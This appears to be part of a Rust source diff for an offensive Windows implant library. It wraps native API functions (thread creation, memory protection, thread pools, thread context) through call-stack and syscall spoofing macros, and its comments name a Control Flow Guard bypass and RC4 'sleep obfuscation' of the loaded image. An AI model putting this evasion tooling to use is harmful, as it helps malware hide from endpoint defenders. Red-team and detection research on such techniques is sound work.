#[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlCaptureContext(&self, ContextRecord: PCONTEXT) { + let f: FnRtlCaptureContext = transmute(self.RtlCaptureContext_ptr); + f(ContextRecord) + } + + /// Acquire an SRW lock in exclusive (write) mode. + /// + /// # Arguments + /// + /// * `SRWLock` - Pointer to the SRW lock to acquire exclusively. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlAcquireSRWLockExclusive(&mut self, SRWLock: PVOID) { + let f: FnRtlAcquireSRWLockExclusive = transmute(self.RtlAcquireSRWLockExclusive_ptr); + #[cfg(feature = "spoof-uwd")] + { + crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void, SRWLock); + return; + } + #[cfg(not(feature = "spoof-uwd"))] + f(SRWLock) + } + + // ── Thread Creation (Legacy) ──────────────────────────────────── + + /// Create a user-mode thread (legacy API). + /// + /// # Arguments + /// + /// * `Process` - Handle to the process in which the thread is created. + /// * `ThreadSecurityDescriptor` - Optional pointer to a security descriptor for the thread. + /// * `CreateSuspended` - If `TRUE`, the thread is created in a suspended state. + /// * `ZeroBits` - Number of high-order address bits that must be zero in the stack base. + /// * `MaximumStackSize` - Maximum stack size, in bytes. + /// * `CommittedStackSize` - Initial committed stack size, in bytes. + /// * `StartAddress` - Pointer to the thread start routine. + /// * `Parameter` - Pointer to a parameter passed to the start routine. + /// * `Thread` - Optional pointer to a variable that receives the thread handle. + /// * `ClientId` - Optional pointer to a `CLIENT_ID` that receives the thread/process IDs. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn RtlCreateUserThread( + &mut self, + Process: HANDLE, + ThreadSecurityDescriptor: PSECURITY_DESCRIPTOR, + CreateSuspended: BOOLEAN, + ZeroBits: ULONG, + MaximumStackSize: SIZE_T, + CommittedStackSize: SIZE_T, + StartAddress: PUSER_THREAD_START_ROUTINE, + Parameter: PVOID, + Thread: PHANDLE, + ClientId: PCLIENT_ID, + ) -> NTSTATUS { + let f: FnRtlCreateUserThread = transmute(self.RtlCreateUserThread_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + Process, + ThreadSecurityDescriptor, + CreateSuspended as usize, + ZeroBits as usize, + MaximumStackSize, + CommittedStackSize, + transmute::<_, *const core::ffi::c_void>(StartAddress), + Parameter, + Thread, + ClientId + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f( + Process, + ThreadSecurityDescriptor, + CreateSuspended, + ZeroBits, + MaximumStackSize, + CommittedStackSize, + StartAddress, + Parameter, + Thread, + ClientId, + ) + } + + // ── Memory Locking ──────────────────────────────────────────────── + + /// Lock virtual memory pages into physical memory. + /// + /// # Arguments + /// + /// * `ProcessHandle` - Handle to the process whose pages are to be locked. + /// * `BaseAddress` - Pointer to a variable containing the base address of the region to lock. + /// * `RegionSize` - Pointer to a variable that specifies the size of the region to lock. + /// * `MapType` - Type of lock operation (e.g., `MAP_PROCESS` or `MAP_SYSTEM`). + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn NtLockVirtualMemory( + &mut self, + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + MapType: ULONG, + ) -> NTSTATUS { + let f: FnNtLockVirtualMemory = transmute(self.NtLockVirtualMemory_ptr); + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + return crate::spoof_syscall!( + &self.syscall_spoof_config, + f as *const core::ffi::c_void, + ProcessHandle, + BaseAddress, + RegionSize, + MapType as usize + ) as NTSTATUS; + #[cfg(all(feature = "spoof-uwd", not(feature = "spoof-syscall")))] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + ProcessHandle, + BaseAddress, + RegionSize, + MapType as usize + ) as NTSTATUS; + #[cfg(not(feature = "spoof-uwd"))] + f(ProcessHandle, BaseAddress, RegionSize, MapType) + } + + // ── Thread Pool ────────────────────────────────────────────────── + + /// Create a new thread pool. + /// + /// # Arguments + /// + /// * `PoolReturn` - Pointer to a variable that receives the new pool object. + /// * `Reserved` - Reserved; must be null. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn TpAllocPool(&mut self, PoolReturn: *mut PVOID, Reserved: PVOID) -> NTSTATUS { + let f: FnTpAllocPool = transmute(self.TpAllocPool_ptr); + + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + PoolReturn, + Reserved, + ) as NTSTATUS; + + #[cfg(not(feature = "spoof-uwd"))] + f(PoolReturn, Reserved) + } + + /// Set stack commit/reserve sizes for pool threads. + /// + /// # Arguments + /// + /// * `Pool` - Pointer to the thread pool object. + /// * `PoolStackInformation` - Pointer to a `TP_POOL_STACK_INFORMATION` structure specifying stack sizes. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn TpSetPoolStackInformation( + &mut self, + Pool: PVOID, + PoolStackInformation: *mut TP_POOL_STACK_INFORMATION, + ) -> NTSTATUS { + let f: FnTpSetPoolStackInformation = transmute(self.TpSetPoolStackInformation_ptr); + + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + Pool, + PoolStackInformation, + ) as NTSTATUS; + + #[cfg(not(feature = "spoof-uwd"))] + f(Pool, PoolStackInformation) + } + + /// Set the minimum number of threads in a pool. + /// + /// # Arguments + /// + /// * `Pool` - Pointer to the thread pool object. + /// * `MinThreads` - Minimum number of threads to maintain in the pool. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn TpSetPoolMinThreads(&mut self, Pool: PVOID, MinThreads: DWORD) -> NTSTATUS { + let f: FnTpSetPoolMinThreads = transmute(self.TpSetPoolMinThreads_ptr); + + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + Pool, + MinThreads, + ) as NTSTATUS; + + #[cfg(not(feature = "spoof-uwd"))] + f(Pool, MinThreads) + } + + /// Set the maximum number of threads in a pool. + /// + /// # Arguments + /// + /// * `Pool` - Pointer to the thread pool object. + /// * `MaxThreads` - Maximum number of threads allowed in the pool. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn TpSetPoolMaxThreads(&mut self, Pool: PVOID, MaxThreads: DWORD) -> NTSTATUS { + let f: FnTpSetPoolMaxThreads = transmute(self.TpSetPoolMaxThreads_ptr); + + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + Pool, + MaxThreads, + ) as NTSTATUS; + + #[cfg(not(feature = "spoof-uwd"))] + { + f(Pool, MaxThreads); + STATUS_SUCCESS + } + } + + /// Allocate a thread pool timer object. + /// + /// # Arguments + /// + /// * `Timer` - Pointer to a variable that receives the new timer object. + /// * `Callback` - Pointer to the callback function invoked when the timer fires. + /// * `Context` - Pointer to application-defined data passed to the callback. + /// * `CallbackEnviron` - Optional pointer to a `TP_CALLBACK_ENVIRON_V3` for pool/group binding. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn TpAllocTimer( + &mut self, + Timer: *mut PVOID, + Callback: PVOID, + Context: PVOID, + CallbackEnviron: *mut TP_CALLBACK_ENVIRON_V3, + ) -> NTSTATUS { + let f: FnTpAllocTimer = transmute(self.TpAllocTimer_ptr); + + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + Timer, + Callback, + Context, + CallbackEnviron, + ) as NTSTATUS; + + #[cfg(not(feature = "spoof-uwd"))] + f(Timer, Callback, Context, CallbackEnviron) + } + + /// Arm a thread pool timer with a due time. + /// + /// # Arguments + /// + /// * `Timer` - Pointer to the timer object to arm. + /// * `DueTime` - Pointer to the due time (negative for relative, positive for absolute). + /// * `Period` - Timer period in milliseconds (0 for a one-shot timer). + /// * `WindowLength` - Maximum acceptable delay in milliseconds before the timer fires. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn TpSetTimer( + &mut self, + Timer: PVOID, + DueTime: PLARGE_INTEGER, + Period: DWORD, + WindowLength: DWORD, + ) -> NTSTATUS { + let f: FnTpSetTimer = transmute(self.TpSetTimer_ptr); + + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + Timer, + DueTime, + Period, + WindowLength, + ) as NTSTATUS; + + #[cfg(not(feature = "spoof-uwd"))] + { + f(Timer, DueTime, Period, WindowLength); + STATUS_SUCCESS + } + } + + /// Allocate a thread pool wait object. + /// + /// # Arguments + /// + /// * `Wait` - Pointer to a variable that receives the new wait object. + /// * `Callback` - Pointer to the callback function invoked when the wait is satisfied. + /// * `Context` - Pointer to application-defined data passed to the callback. + /// * `CallbackEnviron` - Optional pointer to a `TP_CALLBACK_ENVIRON_V3` for pool/group binding. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn TpAllocWait( + &mut self, + Wait: *mut PVOID, + Callback: PVOID, + Context: PVOID, + CallbackEnviron: *mut TP_CALLBACK_ENVIRON_V3, + ) -> NTSTATUS { + let f: FnTpAllocWait = transmute(self.TpAllocWait_ptr); + + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + Wait, + Callback, + Context, + CallbackEnviron, + ) as NTSTATUS; + + #[cfg(not(feature = "spoof-uwd"))] + f(Wait as _, transmute(Callback), Context, CallbackEnviron) + } + + /// Arm a thread pool wait with an event handle and timeout. + /// + /// # Arguments + /// + /// * `Wait` - Pointer to the wait object to arm. + /// * `Handle` - Handle to the kernel object to wait on. + /// * `Timeout` - Optional pointer to a timeout value (negative for relative, positive for absolute). + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn TpSetWait( + &mut self, + Wait: PVOID, + Handle: HANDLE, + Timeout: PLARGE_INTEGER, + ) -> NTSTATUS { + let f: FnTpSetWait = transmute(self.TpSetWait_ptr); + + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + Wait, + Handle, + Timeout, + ) as NTSTATUS; + + #[cfg(not(feature = "spoof-uwd"))] + { + f(Wait as _, Handle, Timeout); + STATUS_SUCCESS + } + } +} + +/// Resolved function pointers from `kernel32.dll`. +/// +/// Provides Win32 wrappers for library loading, synchronization, thread/process info, +/// virtual memory, fiber operations, and thread pool management. +pub struct Kernel32Module { + pub handle: usize, + pub size: u32, + #[cfg(feature = "spoof-uwd")] + pub spoof_config: crate::spoof::uwd::types::Config, + pub LoadLibraryA_ptr: *mut FnLoadLibraryA, + pub LoadLibraryExA_ptr: *mut FnLoadLibraryExA, + pub GetProcAddress_ptr: *mut FnGetProcAddress, + pub WaitForSingleObject_ptr: *mut FnWaitForSingleObject, + pub WaitForSingleObjectEx_ptr: *mut FnWaitForSingleObjectEx, + pub Sleep_ptr: *mut FnSleep, + pub CreateToolhelp32Snapshot_ptr: *mut FnCreateToolhelp32Snapshot, + pub Thread32First_ptr: *mut FnThread32First, + pub Thread32Next_ptr: *mut FnThread32Next, + pub OpenThread_ptr: *mut FnOpenThread, + pub DuplicateHandle_ptr: *mut FnDuplicateHandle, + pub GetThreadContext_ptr: *mut FnGetThreadContext, + pub SetThreadContext_ptr: *mut FnSetThreadContext, + pub SetEvent_ptr: *mut FnSetEvent, + pub VirtualProtect_ptr: *mut FnVirtualProtect, + pub VirtualAlloc_ptr: *mut FnVirtualAlloc, + pub VirtualFree_ptr: *mut FnVirtualFree, + pub GetCurrentProcess_ptr: *mut FnGetCurrentProcess, + pub GetCurrentProcessId_ptr: *mut FnGetCurrentProcessId, + pub GetCurrentThreadId_ptr: *mut FnGetCurrentThreadId, + pub BaseThreadInitThunk_ptr: *mut FnBaseThreadInitThunk, + pub EnumDateFormatsExA_ptr: *mut FnEnumDateFormatsExA, + pub ConvertThreadToFiber_ptr: *mut FnConvertThreadToFiber, + pub ConvertFiberToThread_ptr: *mut FnConvertFiberToThread, + pub CreateFiber_ptr: *mut FnCreateFiber, + pub DeleteFiber_ptr: *mut FnDeleteFiber, + pub SwitchToFiber_ptr: *mut FnSwitchToFiber, + pub CloseThreadpool_ptr: *mut FnCloseThreadpool, + pub DisableThreadLibraryCalls_ptr: *mut FnDisableThreadLibraryCalls, +} + +/// Resolved function pointers from `kernelbase.dll`. +/// +/// Currently only wraps `SetProcessValidCallTargets` for CFG (Control Flow Guard) bypass. +pub struct KernelBaseModule { + pub handle: usize, + pub size: u32, + #[cfg(feature = "spoof-uwd")] + pub spoof_config: crate::spoof::uwd::types::Config, + pub SetProcessValidCallTargets_ptr: *mut FnSetProcessValidCallTargets, +} + +/// Resolved function pointers from `advapi32.dll`. +/// +/// Provides access to undocumented `SystemFunction032/040/041` (RC4 encryption primitives +/// used by DPAPI) for in-place image encryption during sleep obfuscation. +pub struct AdvapiModule { + pub handle: usize, + pub size: u32, + pub SystemFunction032_ptr: *mut FnSystemFunction032, + pub SystemFunction040_ptr: *mut FnSystemFunction040, + pub SystemFunction041_ptr: *mut FnSystemFunction041, + pub enckey: [u8; KEY_SIZE], +} + +impl Kernel32Module { + // ── Library Loading ───────────────────────────────────────────── + + /// Load a DLL by ASCII name. + /// + /// # Arguments + /// + /// * `lpLibFileName` - Pointer to a null-terminated ANSI string specifying the DLL file name. + /// + /// # Returns + /// + /// Handle to the loaded module on success, or null on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn LoadLibraryA(&mut self, lpLibFileName: PSTR) -> HMODULE { + let f: FnLoadLibraryA = transmute(self.LoadLibraryA_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + lpLibFileName + ) as HMODULE; + #[cfg(not(feature = "spoof-uwd"))] + f(lpLibFileName) + } + + /// Load a DLL by ASCII name with flags. + /// + /// # Arguments + /// + /// * `lpLibFileName` - Pointer to a null-terminated ANSI string specifying the DLL file name. + /// * `hFile` - Reserved; must be null. + /// * `dwFlags` - Action to take when loading the module (e.g., `LOAD_LIBRARY_AS_DATAFILE`). + /// + /// # Returns + /// + /// Handle to the loaded module on success, or null on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn LoadLibraryExA( + &mut self, + lpLibFileName: LPCSTR, + hFile: HANDLE, + dwFlags: DWORD, + ) -> HMODULE { + let f: FnLoadLibraryExA = transmute(self.LoadLibraryExA_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + lpLibFileName, + hFile, + dwFlags as usize + ) as HMODULE; + #[cfg(not(feature = "spoof-uwd"))] + f(lpLibFileName, hFile, dwFlags) + } + + /// Retrieve the address of an exported function by name. + /// + /// # Arguments + /// + /// * `hModule` - Handle to the DLL module containing the function. + /// * `lpProcName` - Pointer to a null-terminated ANSI string specifying the function name. + /// + /// # Returns + /// + /// Pointer to the exported function, or null if not found. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn GetProcAddress(&mut self, hModule: HMODULE, lpProcName: PSTR) -> PVOID { + let f: FnGetProcAddress = transmute(self.GetProcAddress_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + hModule as usize, + lpProcName + ) as PVOID; + #[cfg(not(feature = "spoof-uwd"))] + f(hModule, lpProcName) + } + + // ── Synchronization ─────────────────────────────────────────────── + + /// Wait for a kernel object to become signaled. + /// + /// # Arguments + /// + /// * `hHandle` - Handle to the object to wait on. + /// * `dwMilliseconds` - Timeout interval in milliseconds (`INFINITE` for no timeout). + /// + /// # Returns + /// + /// `DWORD` wait result: `WAIT_OBJECT_0` if signaled, `WAIT_TIMEOUT` on timeout, or `WAIT_FAILED` on error. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn WaitForSingleObject(&mut self, hHandle: HANDLE, dwMilliseconds: DWORD) -> DWORD { + let f: FnWaitForSingleObject = transmute(self.WaitForSingleObject_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + hHandle, + dwMilliseconds as usize + ) as DWORD; + #[cfg(not(feature = "spoof-uwd"))] + f(hHandle, dwMilliseconds) + } + + /// Wait for a kernel object with alertable option. + /// + /// # Arguments + /// + /// * `hHandle` - Handle to the object to wait on. + /// * `dwMilliseconds` - Timeout interval in milliseconds (`INFINITE` for no timeout). + /// * `bAlertable` - If `TRUE`, the wait is alertable (APCs and I/O completion routines can interrupt it). + /// + /// # Returns + /// + /// `DWORD` wait result: `WAIT_OBJECT_0` if signaled, `WAIT_TIMEOUT` on timeout, `WAIT_IO_COMPLETION` if interrupted by APC, or `WAIT_FAILED` on error. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn WaitForSingleObjectEx( + &mut self, + hHandle: HANDLE, + dwMilliseconds: DWORD, + bAlertable: BOOL, + ) -> DWORD { + let f: FnWaitForSingleObjectEx = transmute(self.WaitForSingleObjectEx_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + hHandle, + dwMilliseconds as usize, + bAlertable as usize + ) as DWORD; + #[cfg(not(feature = "spoof-uwd"))] + f(hHandle, dwMilliseconds, bAlertable) + } + + /// Suspend the calling thread for the specified duration. + /// + /// # Arguments + /// + /// * `dwMilliseconds` - Time to sleep in milliseconds. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn Sleep(&mut self, dwMilliseconds: DWORD) { + let f: FnSleep = transmute(self.Sleep_ptr); + #[cfg(feature = "spoof-uwd")] + { + crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + dwMilliseconds as usize + ); + return; + } + #[cfg(not(feature = "spoof-uwd"))] + f(dwMilliseconds) + } + + // ── Thread Enumeration ──────────────────────────────────────────── + + /// Create a snapshot of processes/threads for enumeration. + /// + /// # Arguments + /// + /// * `dwFlags` - Portions of the system to include in the snapshot (e.g., `TH32CS_SNAPTHREAD`). + /// * `th32ProcessID` - Process identifier to snapshot, or 0 for the current process. + /// + /// # Returns + /// + /// Valid snapshot handle on success, or `INVALID_HANDLE_VALUE` on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn CreateToolhelp32Snapshot(&mut self, dwFlags: u32, th32ProcessID: u32) -> HANDLE { + let f: FnCreateToolhelp32Snapshot = transmute(self.CreateToolhelp32Snapshot_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + dwFlags as usize, + th32ProcessID as usize + ) as HANDLE; + #[cfg(not(feature = "spoof-uwd"))] + f(dwFlags, th32ProcessID) + } + + /// Retrieve the first thread entry from a snapshot. + /// + /// # Arguments + /// + /// * `hSnapshot` - Handle to the snapshot returned by `CreateToolhelp32Snapshot`. + /// * `lpte` - Pointer to a `THREADENTRY32` structure that receives the first thread entry. + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn Thread32First(&mut self, hSnapshot: HANDLE, lpte: *mut THREADENTRY32) -> BOOL { + let f: FnThread32First = transmute(self.Thread32First_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + hSnapshot, + lpte + ) as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f(hSnapshot, lpte) + } + + /// Retrieve the next thread entry from a snapshot. + /// + /// # Arguments + /// + /// * `hSnapshot` - Handle to the snapshot returned by `CreateToolhelp32Snapshot`. + /// * `lpte` - Pointer to a `THREADENTRY32` structure that receives the next thread entry. + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn Thread32Next(&mut self, hSnapshot: HANDLE, lpte: *mut THREADENTRY32) -> BOOL { + let f: FnThread32Next = transmute(self.Thread32Next_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + hSnapshot, + lpte + ) as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f(hSnapshot, lpte) + } + + /// Open a handle to an existing thread by ID. + /// + /// # Arguments + /// + /// * `dwDesiredAccess` - Access rights for the thread handle. + /// * `bInheritHandle` - If `TRUE`, processes created by this process inherit the handle. + /// * `dwThreadId` - Identifier of the thread to open. + /// + /// # Returns + /// + /// Valid thread handle on success, or null on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn OpenThread( + &mut self, + dwDesiredAccess: u32, + bInheritHandle: BOOL, + dwThreadId: u32, + ) -> HANDLE { + let f: FnOpenThread = transmute(self.OpenThread_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + dwDesiredAccess as usize, + bInheritHandle as usize, + dwThreadId as usize + ) as HANDLE; + #[cfg(not(feature = "spoof-uwd"))] + f(dwDesiredAccess, bInheritHandle, dwThreadId) + } + + // ── Handle Duplication ──────────────────────────────────────────── + + /// Duplicate an object handle. + /// + /// # Arguments + /// + /// * `hSourceProcessHandle` - Handle to the process that owns the source handle. + /// * `hSourceHandle` - Handle to duplicate. + /// * `hTargetProcessHandle` - Handle to the process that receives the duplicated handle. + /// * `lpTargetHandle` - Pointer to a variable that receives the duplicated handle. + /// * `dwDesiredAccess` - Access rights for the new handle. + /// * `bInheritHandle` - If `TRUE`, the new handle is inheritable. + /// * `dwOptions` - Duplication options (e.g., `DUPLICATE_SAME_ACCESS`, `DUPLICATE_CLOSE_SOURCE`). + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn DuplicateHandle( + &mut self, + hSourceProcessHandle: HANDLE, + hSourceHandle: HANDLE, + hTargetProcessHandle: HANDLE, + lpTargetHandle: *mut HANDLE, + dwDesiredAccess: u32, + bInheritHandle: BOOL, + dwOptions: u32, + ) -> BOOL { + let f: FnDuplicateHandle = transmute(self.DuplicateHandle_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + hSourceProcessHandle, + hSourceHandle, + hTargetProcessHandle, + lpTargetHandle, + dwDesiredAccess as usize, + bInheritHandle as usize, + dwOptions as usize + ) as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f( + hSourceProcessHandle, + hSourceHandle, + hTargetProcessHandle, + lpTargetHandle, + dwDesiredAccess, + bInheritHandle, + dwOptions, + ) + } + + // ── Thread Context ──────────────────────────────────────────────── + + /// Retrieve the context of a thread (Win32 wrapper). + /// + /// # Arguments + /// + /// * `hThread` - Handle to the thread whose context is to be retrieved. + /// * `lpContext` - Pointer to a `CONTEXT` structure that receives the thread context. + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn GetThreadContext(&mut self, hThread: HANDLE, lpContext: PCONTEXT) -> BOOL { + let f: FnGetThreadContext = transmute(self.GetThreadContext_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + hThread, + lpContext + ) as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f(hThread, lpContext) + } + + /// Set the context of a thread (Win32 wrapper). + /// + /// # Arguments + /// + /// * `hThread` - Handle to the thread whose context is to be set. + /// * `lpContext` - Pointer to a `CONTEXT` structure containing the new thread context. + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn SetThreadContext(&mut self, hThread: HANDLE, lpContext: PCONTEXT) -> BOOL { + let f: FnSetThreadContext = transmute(self.SetThreadContext_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + hThread, + lpContext + ) as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f(hThread, lpContext) + } + + // ── Events ─────────────────────────────────────────────────────── + + /// Set an event object to the signaled state (Win32 wrapper). + /// + /// # Arguments + /// + /// * `hEvent` - Handle to the event object to signal. + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn SetEvent(&mut self, hEvent: HANDLE) -> BOOL { + let f: FnSetEvent = transmute(self.SetEvent_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void, hEvent) + as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f(hEvent) + } + + // ── Virtual Memory ──────────────────────────────────────────────── + + /// Change the protection on a region of committed pages. + /// + /// # Arguments + /// + /// * `lpAddress` - Pointer to the base address of the region whose protection is to be changed. + /// * `dwSize` - Size of the region, in bytes. + /// * `flNewProtect` - New memory protection constant (e.g., `PAGE_EXECUTE_READ`). + /// * `lpflOldProtect` - Pointer to a variable that receives the old protection value. + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn VirtualProtect( + &mut self, + lpAddress: PVOID, + dwSize: SIZE_T, + flNewProtect: u32, + lpflOldProtect: *mut u32, + ) -> BOOL { + let f: FnVirtualProtect = transmute(self.VirtualProtect_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + lpAddress, + dwSize, + flNewProtect as usize, + lpflOldProtect + ) as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f(lpAddress, dwSize, flNewProtect, lpflOldProtect) + } + + /// Reserve or commit a region of virtual memory. + /// + /// # Arguments + /// + /// * `lpAddress` - Starting address of the region, or null to let the system choose. + /// * `dwSize` - Size of the region, in bytes. + /// * `flAllocationType` - Type of allocation (e.g., `MEM_COMMIT`, `MEM_RESERVE`). + /// * `flProtect` - Memory protection for the region (e.g., `PAGE_READWRITE`). + /// + /// # Returns + /// + /// Pointer to the base address of the allocated region, or null on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn VirtualAlloc( + &mut self, + lpAddress: LPVOID, + dwSize: SIZE_T, + flAllocationType: DWORD, + flProtect: DWORD, + ) -> LPVOID { + let f: FnVirtualAlloc = transmute(self.VirtualAlloc_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + lpAddress, + dwSize, + flAllocationType as usize, + flProtect as usize + ) as LPVOID; + #[cfg(not(feature = "spoof-uwd"))] + f(lpAddress, dwSize, flAllocationType, flProtect) + } + + /// Release or decommit a region of virtual memory. + /// + /// # Arguments + /// + /// * `lpAddress` - Pointer to the base address of the region to free. + /// * `dwSize` - Size of the region in bytes (0 when using `MEM_RELEASE`). + /// * `dwFreeType` - Type of free operation (e.g., `MEM_RELEASE`, `MEM_DECOMMIT`). + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn VirtualFree( + &mut self, + lpAddress: LPVOID, + dwSize: SIZE_T, + dwFreeType: DWORD, + ) -> BOOL { + let f: FnVirtualFree = transmute(self.VirtualFree_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + lpAddress, + dwSize, + dwFreeType as usize + ) as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f(lpAddress, dwSize, dwFreeType) + } + + // ── Process / Thread Info ──────────────────────────────────────── + + /// Return a pseudo-handle to the current process. + /// + /// # Returns + /// + /// Pseudo-handle to the current process (always succeeds). + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn GetCurrentProcess(&mut self) -> HANDLE { + let f: FnGetCurrentProcess = transmute(self.GetCurrentProcess_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void) as HANDLE; + #[cfg(not(feature = "spoof-uwd"))] + f() + } + + /// Return the PID of the current process. + /// + /// # Returns + /// + /// The process identifier (PID) of the calling process. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn GetCurrentProcessId(&mut self) -> u32 { + let f: FnGetCurrentProcessId = transmute(self.GetCurrentProcessId_ptr); + #[cfg(feature = "spoof-uwd")] + return 